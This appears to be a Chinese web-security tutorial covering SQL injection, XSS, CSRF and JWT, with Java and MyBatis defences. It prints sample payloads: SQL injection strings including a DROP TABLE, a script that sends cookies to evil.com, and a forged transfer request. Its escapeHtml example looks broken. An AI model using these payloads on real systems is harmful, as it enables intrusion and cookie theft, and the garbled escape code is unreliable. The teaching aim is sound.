文章目录
🔐《安全攻防:从 SQL 注入到 JWT 鉴权》
🛡️ 引言:安全不是锦上添花,而是保命符
曾经,一家电商平台因 SQL 注入漏洞,被黑客成功篡改会员余额,数百万用户信息泄漏;
开源项目也频频中招,代码托管一夕遭注入挖矿脚本。
安全问题的本质,就是你的系统边界被攻破后,后果可能远比功能丢失更可怕。
从“攻防并存”的角度来看,每一次漏洞修复,都是在给系统筑起一堵更坚固的“护城河”。
下面,我们将从最经典的 SQL 注入,到前端“定时炸弹” XSS,再到 CSRF 与分布式时代的 JWT,逐步划定攻防要点。
🕳️ 第一章:SQL 注入——最经典的老朋友
原理剖析:字符串拼接的“后门”
当你将用户输入直接拼进 SQL 语句,攻击者只需注入一段特殊字符串,就能“打开”你的数据大门。
// ❌ 错误示例:字符串拼接产生注入风险
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
stmt.executeQuery(sql);
若 username = “admin’ OR ‘1’='1”,那么最终执行:
SELECT * FROM users
WHERE username = 'admin' OR '1'='1'
AND password = 'whatever';
结果:永远为真,绕过认证。
防御秘诀:参数化查询 & ORM 框架
1. PreparedStatement
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
try (PreparedStatement ps = conn.prepareStatement(sql)) {
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
}
参数提前编译,用户输入视为数据,不会被当作 SQL 片段执行。
2. 使用 ORM 框架
以 MyBatis 为例:
<select id="findUser" resultType="User">
SELECT * FROM users
WHERE username = #{username}
AND password = #{password}
</select>
#{} 自动走预编译参数,杜绝拼接注入。
注入 Payload 举例
1’ OR ‘1’='1
admin’; DROP TABLE users;
💣 第二章:XSS 攻击——前端的“定时炸弹”
攻击原理:脚本植入,等待用户触发
攻击者在输入框、评论区、富文本中插入含 script 的恶意脚本,当其他用户浏览时,脚本在其浏览器中执行,盗取 Cookie、劫持页面等。
<!-- 用户提交的评论 -->
<p>Great post!</p>
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
防御策略:前后端联合“上锁”
1.前端转义
将 <、>、& 等特殊字符替换为 <、>、&。
function escapeHtml(str) {
return str.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
2.后端过滤
白名单过滤:只允许安全的标签和属性(例如使用 OWASP Java HTML Sanitizer)。
内容安全策略(CSP):通过 HTTP 头部约束可执行脚本的来源。
3.联合防御
前端转义 + 后端白名单 + CSP,多重防线才能有效阻断 XSS。
🔀 第三章:CSRF 攻击——跨站请求伪造
攻击流程演示
1. 用户登录银行网站,持有有效 Cookie
2. 访问恶意网站,页面自动发起转账请求
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
3. 浏览器自动带上 Cookie,银行服务器误认为是用户本人操作。
防御武器库
1.CSRF Token
后端在用户表单中植入随机 Token,校验不匹配则拒绝。
2.Referer/Origin 校验
检查请求头 Referer 或 Origin 是否来自本站域名。
3.验证码
在高危操作(如转账)前追加验证码校验。
🆔 第四章:JWT 鉴权——分布式时代的通行证
原理解读:三段式 Token
- Header(Base64 编码,描述算法等)
- Payload(Base64 编码,存储用户信息、过期时间)
- Signature(使用密钥对前两部分签名,防篡改)
完整格式:
xxx.yyy.zzz
Java 示例:生成 & 解析
// 依赖 io.jsonwebtoken:jjwt
String jwt = Jwts.builder()
.setSubject("user123")
.claim("role", "ADMIN")
.setIssuedAt(new Date())
.setExpiration(Date.from(Instant.now().plus(1, ChronoUnit.HOURS)))
.signWith(SignatureAlgorithm.HS256, secretKey)
.compact();
// 解析
Claims claims = Jwts.parser()
.setSigningKey(secretKey)
.parseClaimsJws(jwt)
.getBody();
String userId = claims.getSubject();
常见攻击点 & 防御建议
攻击点 | 防御措施 |
---|---|
Token 泄漏 | 强制 HTTPS,避免在 URL 中传递 |
过期未刷新 | 短期有效 + 刷新 Token 机制 |
密钥伪造 | 使用高强度随机密钥,定期轮换 |
黑名单机制 | 维护失效 Token 黑名单,及时作废已泄露或登出 Token |
⚔️ 第五章:实战场景分析——从攻到防
- 发现漏洞:自动化扫描工具(如 OWASP ZAP)报出 SQL 注入风险。
- 重现攻击:构造含 ’ OR ‘1’='1 的登录请求,确认绕过。
- 修复验证:使用 PreparedStatement 并复测,攻击不再生效。
- XSS 检测:在搜索框注入 ,页面弹窗即为漏洞;
- 添加前端转义 + 后端 Sanitizer,复测通过。
- CSRF 校验:通过 CSRF Token 漏洞演示伪造下单;
- 加入 Token 校验后,二次尝试被拒绝。
- JWT 强化:发现 Token 可在 HTTP 请求头外泄;
- 强制 HTTPS + 密钥升级 + blacklisting,确保安全。
📝 总结:安全没有 100%,但可以越来越强
安全是持续演进的过程,切忌“修完一次就万事大吉”。
每一次代码提交、每一次库升级,都应伴随安全审计。
自动化工具(OWASP ZAP、SonarQube 安全插件)+ 手工渗透测试,双管齐下。
📋 附录:安全 Checklist & 推荐工具
SQL 注入:所有 SQL 均使用参数化/ORM
XSS:前端转义 + 后端白名单 + CSP
CSRF:全站表单均带 CSRF Token 或 Referer 校验
JWT:HTTPS 强制 + 短期有效 + 密钥轮换 + 黑名单
推荐工具
OWASP ZAP:自动化扫描
SonarQube:静态安全检测
Burp Suite:专业渗透测试
JWT.io:在线解码与调试
安全,从每一个细节开始坚守;
攻防之间,唯有不断学习与实践,才能让你的系统固若金汤。
加油,做最安全的开发者!